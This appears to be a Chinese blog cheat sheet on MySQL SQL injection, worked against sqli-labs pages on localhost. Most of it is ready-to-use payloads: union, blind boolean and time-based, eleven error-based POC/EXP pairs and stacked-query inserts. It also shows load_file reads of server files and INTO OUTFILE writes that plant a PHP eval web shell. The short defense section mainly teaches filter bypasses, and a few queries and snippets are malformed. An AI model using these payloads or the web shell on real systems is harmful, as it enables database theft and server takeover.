0. SQL注入常用的尝试语句:

or 1=1--+

'or 1=1--+

"or 1=1--+

)or 1=1--+

')or 1=1--+

") or 1=1--+

"))or 1=1--+

Ps:--+可以用#替换,url提交过程中Url编码后的#为%23

1. 攻击目的和步骤:

1.1.  目的:

system_user() 系统用户名 user() 用户名

current_user 当前用户名

session_user()连接数据库的用户名 database() 数据库名

version() MYSQL数据库版本

load_file() MYSQL读取本地文件的函数

@@datadir 读取数据库路径

@@basedir MYSQL 安装路径

@@version_compile_os 操作系统

1.2 猜数据库

随便编一个不存在的函数,通过报错,得到库名。

select schema_name from information_schema.schemata

union查询:

1admin'union select 1,database()#

select group_concat(schema_name) from information_schema.schemata

暴力破解数据库名(报错/延时/堆叠等等注入方式):

http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

uname=admin')and left(database(),1)>'a'#&passwd=1&submit=Submit

1.2 列出某个库当中所有的表

select group_concat(table_name) from information_schema.tables where table_schema='xxxxx'

select table_name from information_schema.tables where table_schema='xxxxx'

select id,group_concat(name) from aa group by id;

以id分组,把id相同的name字段的值打印在一行,逗号分隔(默认)

1.3 暴力破解某个库中的表名:

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

1.4 猜某表的所有列

Select column_name from information_schema.columns where table_name='xxxxx'

1.5 暴力破解某表的列:

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

获取某列的内容

Select *** from ****

暴力破解某个值:

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+

2. SQL注入的分类:

2.1·基于从服务器接收到的响应:

基于错误的SQL注入

联合查询的类型

堆查询注射

SQL盲注:

何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注

基于布尔的SQL盲注——构造逻辑判断:

/0x3a是":"的十六进制

I select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));

           II select * from users where id=1 and 1=(user() regexp'^ri');

            通过if语句的条件判断,返回一些条件句,比如if等构造一个判断。根据返回结果是否等于0或者1进行判断。

           III select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

            这里利用select构造了一个判断语句。我们只需要更换regexp表达式即可

基于时间的SQL盲注——延时注入

BENCHMARK():判断一条语句的执行速度。

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23  //if判断语句,条件为假,执行sleep,爆数据库。

这里的%23会被转义成注释符#。

基于报错的SQL盲注——构造payload让信息通过错误提示回显出来。

     十余种mysql报错注入:

     参考:https://www.msfcode.com/2016/10/11/%E3%80%90sql%E6%B3%A8%E5%85%A5%E3%80%91mysql%E5%8D%81%E7%A7%8D%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5%E6%96%B9%E5%BC%8F/                                                   

第一种:floor():

POC:

Id = 1 And 1=(select * from (select count(*),concat((任何SQL语句),floor(rand(0)*2))x from information_schema.tables group by x)a)

EXP:

select * from user where username=root and (select * from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a);

这里的x和a都是别名,因为GROUP BY应该通过聚合来处理重复的条目,如果出现重复的字段,这个时候就会报错;

参考:

http://www.webhack.me/2017/10/04/mysql%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5/

简化形式:

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果关键的表被禁用了,可以使用这种形式

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

如果rand被禁用了可以使用用户变量来报错

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

注:mysql自定义变量详解:https://www.cnblogs.com/genialx/p/5932558.html

select user()查看当前用户,mysql基本操作详解:

http://wiki.jikexueyuan.com/project/linux/mysql.html

第二种:extractvalue()

POC:

and 1=(extractvalue(1,concat(0x7e,(任意SQL语句),0x7e)))

EXP:

①select * from user where user=’root’ and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

②id = 1 and (extractvalue(1,concat(0x5c,(select user()))))

利用输入错误的xpath条件,得到当前用户名,当然,这里非user()可以换成其他的你想要得到的信息。

EXTRACTVALUE (XML_document, XPath_string);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串).

作用:从目标XML中返回包含所查询值的字符串

0x5c在ASCII码中是”/”的十六进制表示。

第三种:updatexml()

POC:

and 1= (updatexml(1,concat(0x7e,(SQL语句),0x7e),1))

EXP:

Id = 1 AND (updatexml(1,concat(0x5e24,(select user()),0x5e24),1))

利用输入错误的xpath条件,得到当前用户名,当然,这里非user()可以换成其他的你想要得到的信息。

0x5e24是ASCII码。

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

第四种:GeometryCollection()

POC:

ID=1 and 1=(geometrycollection((select * from(select * from (任意SQL语句)a)b)))

EXP:

Id = 1 AND GeometryCollection((select * from(select * from(select user()) a)b))

GeometryN(gc,n)

返回GeometryCollection值gc中第n个几何对象。几何对象的编号从1开始。

第五种:Polygon()

POC:

and 1=(polygon((select * from(select * from(任意SQL语句)a)b)))

EXP:

Id = 1 AND polygon((select * from(select * from(select user())a)b))

第六种:Multipoint()

POC:

Id = 1 and 1=(multipoint((select * from(select * from(任意SQL语句)a)b)))

EXP:

select * from user where user=’root’ and (multipoint((select * from(select * from(select user())a)b)));

第七种:Mutilinestring()

POC:

Id = 1 and 1=(multilinestring((select * from(select * from(任意SQL语句)a)b)))

EXP:

select * from user where user=’root’ and (multilinestring((select * from(select * from(select user())a)b)));

第八种:Multipolygon()报错

POC:

Id = 1 and 1=(multipolygon((select * from(select * from (任意SQL语句)a)b)))

EXP:

select * from user where user=’root’ and (multipolygon((select * from(select * from(select user())a)b)));

第九种:Linestring()报错

POC:

and 1=(linestring((select * from(select * from (任意SQL语句)a)b)))

EXP:

select * from user where user=’root’ and (linestring((select * from(select * from(select user())a)b)));

第十种:EXP()报错

POC:

and 1= (EXP(~(select * from(任意SQL语句)a)))

EXP:

select * from user where user=’root’ and (EXP(~(select * from(select user())a)));

第十一种:NAME_CONST(适用于低版本)

POC:

and (select * from (select NAME_CONST(SQL语句,1),NAME_CONST(SQL语句,1))

EXP:

select * from user where user=’root’ and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))

    

2.2 基于如何处理输入的SQL查询(数据类型):

基于字符串

数字或整数为基础

2.3 基于程度和顺序的注入(哪里发生了影响):

一阶注射:直接对web产生了影响

二阶注射:通过其他的辅助间接的对web产生危害。

2.4 基于注入点的位置上的:

通过用户输入的表单域的注射(在后面的绕过mysql_real_escape_string()函数,存储型注入中有案例)。

通过cookie注射

通过服务器变量注射(user-agent,refer。等)

3. 常用的函数:

3.l  left(database(),1)>'             //left()函数

Explain:database()显示数据库名称,left(a,b)从左侧截取a的前b位

Poc:

http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23

http://127.0.0.1/sqllib/Less-5/?id=1%27and%20length(database())=8%23

http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27--+

http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),2)%3E%27sa%27--+

注:在mysql中,=号是比较运算符,:=是赋值运算符。

3.2  ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+        //substr()函数,ascii()函数

Explain:substr(a,b,c)从b位置开始,截取字符串a的c长度。Ascii()将某个字符转换为ascii值。

Poc:

http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+

获取第二个表:

http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),1,1))%3E113--+

基于布尔型报错注入:

ascii(substr((select database()),1,1))=98

3.3  ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23               //ORD()函数,MID()函数

Explain:mid(a,b,c)从位置b开始,截取a字符串的c位

Ord()函数同ascii(),将字符转为ascii值

Poc:

http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(username%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))=68--+

3.4  regexp正则注入

正则注入介绍:http://www.cnblogs.com/lcamry/articles/5717442.html

用法介绍:select user() regexp '^[a-z]';

Explain:正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式。

第二位可以用select user() regexp '^ro'来进行。

Poc:

http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_name%20regexp%20%27^us[a-z]%27%20limit%200,1)--+

3.5  like匹配注入:

使用方法与正则注入相似。

其实这些重复性的尝试完全通过一个脚本来实现。

3.6  Mysql limit用法(只有两个参数,第一个为偏移量,第二个为最大检索数,可省略):

SELECT * FROM table LIMIT 5,10;

检索记录6-15条。

SELECT * FROM table LIMIT 95,-1;

检索记录96-最后一条

SELECT * FROM table LIMIT 5;

尝试语句:

4. 导入导出介绍:

4.1使用Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。

使用条件:

A、必须有权限读取并且文件必须完全可读

and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。

and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权

B、欲读取文件必须在服务器上

C、必须指定文件完整的路径

D、欲读取文件必须小于 max_allowed_packet

为了找到注入的绝对路径,可以构造有效的畸形语句(报错爆出绝对路径)。

在很多PHP程序中,当提交一个错误的Query,如果display_errors = on,程序就会暴露WEB目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁。

常用的路径有:

http://www.cnblogs.com/lcamry/p/5729087.html

poc:

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

4.2 将文件导入带数据库:

LOAD DATA INFILE语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串。

在注入过程中,我们往往需要一些特殊的文件,比如配置文件,密码文件等。当你具有数据库的权限时,可以将系统文件利用load data infile导入到数据库中。

Poc:

load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'

将/tmp/t0.txt导入到t0表中,character set gbk是字符集设置为gbk,fields terminated by是每一项数据之间的分隔符,lines terminated by 是行的结尾符。

当错误代码是2的时候的时候,文件不存在,错误代码为13的时候是没有权限,可以考虑/tmp等文件夹。

4.3  导入到文件:

SELECT.....INTO OUTFILE 'file_name'

可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有FILE权限,才能使用此语法。file_name不能是一个已经存在的文件。

我们一般有两种利用形式:

第一种直接将select内容导入到文件中:

Select version() into outfile "c:\\phpnow\\htdocs\\test.php"

此处将version()替换成一句话,<?php @eval($_post["mima"])?>也即

Select <?php @eval($_post["mima"])?> into outfile "c:\\phpnow\\htdocs\\test.php"

直接连接一句话就可以了,其实在select内容中不仅仅是可以上传一句话的,也可以上传很多的内容。

第二种修改文件结尾:

Select version() Into outfile "c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16进制文件(这个语句可以被用来上传网马)。

解释:通常是用'\r\n'结尾,此处我们修改为自己想要的任何文件。同时可以用FIELDS TERMINATED BY

16进制可以为一句话或者其他任何的代码,可自行构造(后面在介绍针对order by位置的注入时有具体的案例)。在sqlmap中os-shell采取的就是这样的方式,具体可参考os-shell分析文章:http://www.cnblogs.com/lcamry/p/5505110.html

上述我们提到了load_file(),但是当前台无法导出数据的时候,我们可以利用下面的语句:

select load_file('c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini')into outfile 'c:\\wamp\\www\\test.php'

之后再使用中国菜刀,就可以取得一个网站的完整的权限。

5. 存储式SQL注入,例如:注册一个admin’#的用户,之后修改它的密码,实际上就有可能会修改了admin的密码。

6. 堆叠注入:

在mysql数据库中,使用“;”号会。顺序执行多条语句,这一点可以被利用实现堆叠注入。

Poc:

http://127.0.0.1/sqli-labs/Less-39/index.php?id=1;insert%20into%20users(id,username,password)%20values%20(%2739%27,%27less39%27,%27hello%27)--+

http://127.0.0.1/sqli-labs/Less-40/index.php?id=1%27);%20insert%20into%20users(id,username,password)%20values%20(%27109%27,%27hello%27,%27hello%27)%23

7. 防御:

7.1 PHP mysql_real_escape_string() 函数,

注:(通过宽字节或则”’”的十六进制数绕过。

"\"的ASCII码是"\x5c","'"的ASCII码是"\x27","""的ASCII码是"\x22"只要在前面或者后面再组合一个十六进制码使之能构成一个汉字码就可以实现宽字符注入了(可以利用这个规则编写程序找到可以吃掉过滤符号的十六进制字节码)。

>>> str6 = "�'"

>>> str6.encode('utf-8')

b"\xef\xbf\xbd'")

http://www.w3school.com.cn/php/func_mysql_real_escape_string.asp

但是,如果:

在使用mysql_real_escape_string()时,将mysql设置为gbk即可防御这种攻击。

但是,如果在存入数据的时候过滤,但是在查询时没有过滤,那么可以在查询的时候通过堆叠注入实现注入。

设置代码:

Mysql_set_charset('gbk','$conn')

7.2 stripslashes()

7.3 addslashes() //可以通过宽字节绕过。

7.4 绕过and,or过滤。

大小写变形 Or,OR,oR

编码,hex,urlencode

添加注释/*or*/

利用符号 and=&& or=||

8. 在order by之后注入:

前面提到的注入位置基本都是在where之后的,在order by之后也是可以注入的。

Order by之后的注入有三种方式:

②  直接添加注入语句,?sort=(select ******)

②利用一些函数。例如rand()函数等。?sort=rand(sql语句)

③  利用and,例如?sort=1 and (加sql语句)。

同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。

Poc:

http://127.0.0.1/sqli-labs/Less-46/?sort=(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))

使用rand()函数(因为直接注入的数字在order by之后是无效的)。

http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)

http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=116)

rand(true)he rand(false)的执行结果是不同的。

延时注入例子

http://127.0.0.1/sqli-labs/Less-46/?sort=%20(SELECT%20IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5(%271%27)),null)%20FROM%20(select%20database()%20as%20current)%20as%20tb1)

http://127.0.0.1/sqllib/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5))

procedure analyse参数后注入

利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。

以下为示范例

http://127.0.0.1/sqli-labs/Less-46/?sort=1%20%20procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)

导入导出文件:

http://127.0.0.1/sqllib/Less-46/?sort=1%20into%20outfile%20%22c:\\wamp\\www\\sqllib\\test1.txt%22

利用利用lines terminated by上传网马,网马进行十六进制转换

http://127.0.0.1/sqllib/Less-49/?sort=1%27into%20outfile%20%22c:\\wamp\\www\\sqllib\\test.php%22%20lines%20terminated%20by%200x3c3f70687020706870696e666f28293b3f3e2020--+

将十六进制的字符串转换成能看懂的字符串:

0x3c3f70687020706870696e666f28293b3f3e2020

>>> str1=b'3c3f70687020706870696e666f28293b3f3e2020'

>>> binascii.a2b_hex(str1)

b'<?php phpinfo();?>  '

相关的操作:

import binascii

def hex2char(data):

#    binascii.a2b_hex(hexstr)

    output = binascii.unhexlify(data)

    print(output)

def char2hex(data):

    data = b'data'

#    binascii.b2a_hex(data)

    output = binascii.hexlify(data)

print(output)

mysql注入介绍的更多相关文章

  1. MySQL注入与防御(排版清晰内容有条理)

    为何我要在题目中明确排版清晰以及内容有条理呢? 因为我在搜相关SQL注入的随笔博客的时候,看到好多好多都是页面超级混乱的.亲爱的园友们,日后不管写博客文章还是平时写的各类文章也要多个心眼,好好注意一下 ...

  2. Mysql注入小tips --持续更新中

    学习Web安全好几年了,接触最多的是Sql注入,一直最不熟悉的也是Sql注入.OWASP中,Sql注入危害绝对是Top1.花了一点时间研究了下Mysql类型的注入. 文章中的tips将会持续更新,先说 ...

  3. 史上最完整的MySQL注入

    原文作者: Insider 免责声明:本教程仅用于教育目的,以保护您自己的SQL注释代码. 在阅读本教程后,您必须对任何行动承担全部责任. 0x00 ~ 背景 这篇文章题目为“为新手完成MySQL注入 ...

  4. MySQL注入技巧性研究

    0x00 前言 MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品.MySQL 是最流行的关系型数据库管理系统之一,本人最近针对MySQL注入做了 ...

  5. MySQL注入与防御

    1.简介 1.1.含义 在一个应用中,数据的安全无疑是最重要的.数据的最终归宿都是数据库,因此如何保证数据库不被恶意攻击者入侵是一项重要且严肃的问题! SQL注入作为一种很流行的攻击手段,一直以来都受 ...

  6. MYSQL注入天书之盲注讲解

    Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从ba ...

  7. [转载] MySQL 注入攻击与防御

    MySQL 注入攻击与防御 2017-04-21 16:19:3454921次阅读0     作者:rootclay 预估稿费:500RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页 ...

  8. MYSQL注入天书之开天辟地

    MYSQL注入天书 在线版本:xianzhi.aliyun.com 第一篇地址:https://xianzhi.aliyun.com/forum/read/314.html第二篇地址:https:// ...

  9. MYSQL注入天书之基础知识

    第一部分/page-1 Basic Challenges Background-1 基础知识 此处介绍一些mysql注入的一些基础知识. (1)注入的分类---仁者见仁,智者见智. 下面这个是阿德玛表 ...

随机推荐

  1. mysq查询语句包含中文以及中文乱码,字符集 GBK、GB2312、UTF8的区别

    一.查看mysql 字符集设置情况 使用Navicat for Mysql查看工具,打开命令列界面,输入show variables like '%char%';如下图,查看当前mysql字符集设置情 ...

  2. Linux环境安装nodejs

    安装node 去官网下载nodejs 根据下载的文件可以看出它的压缩方式是.xz的方式,所以不能直接使用linux命令tar直接下载. xz -d node-v10.6.0-linux-x64.tar ...

  3. R语言操作mysql上亿数据量(ff包ffbase包和ETLUtils包)

    平时都是几百万的数据量,这段时间公司中了个大标,有上亿的数据量. 现在情况是数据已经在数据库里面了,需要用R分析,但是完全加载不进来内存. 面对现在这种情况,R提供了ff, ffbase , ETLU ...

  4. 中文Appium API 文档

    该文档是Testerhome官方翻译的源地址:https://github.com/appium/appium/tree/master/docs/cn官方网站上的:http://appium.io/s ...

  5. hdu 1686 Oulipo kmp算法

    题目地址:http://acm.hdu.edu.cn/showproblem.php?pid=1686 题目: Problem Description The French author George ...

  6. linux中的信号简介和trap命令

    1.信号 linux通过信号来在运行在系统上的进程之间通信,也可以通过信号来控制shell脚本的运行 主要有一下信号 1 ##进程重新加载配置 2 ##删除进程在内存中的数据 3 ##删除鼠标在内存中 ...

  7. jQuery时间轴鼠标悬停动画

    在线演示 本地下载

  8. 20145201 《Java程序设计》第一周学习总结

    # 20145201 <Java程序设计>第一周学习总结 ## 教材学习内容总结 万事开头难,终于开始学习了Java.寒假的时候看到老师的要求确实有点慌,但是这周翻开书,从书本知识第一行学 ...

  9. 【转】React Native中ES5 ES6写法对照

    很多React Native的初学者都被ES6的问题迷惑:各路大神都建议我们直接学习ES6的语法(class Foo extends React.Component),然而网上搜到的很多教程和例子都是 ...

  10. Python 对象学习一

    # 对象的基本理论 # 什么是对象? # 万物皆对象 # 对象是具体物体 # 拥有属性 # 拥有行为 # 把很多零散的东西,封装成为一个整体 # 举例:王二小 # 属性 # 姓名 # 年龄 # 身高 ...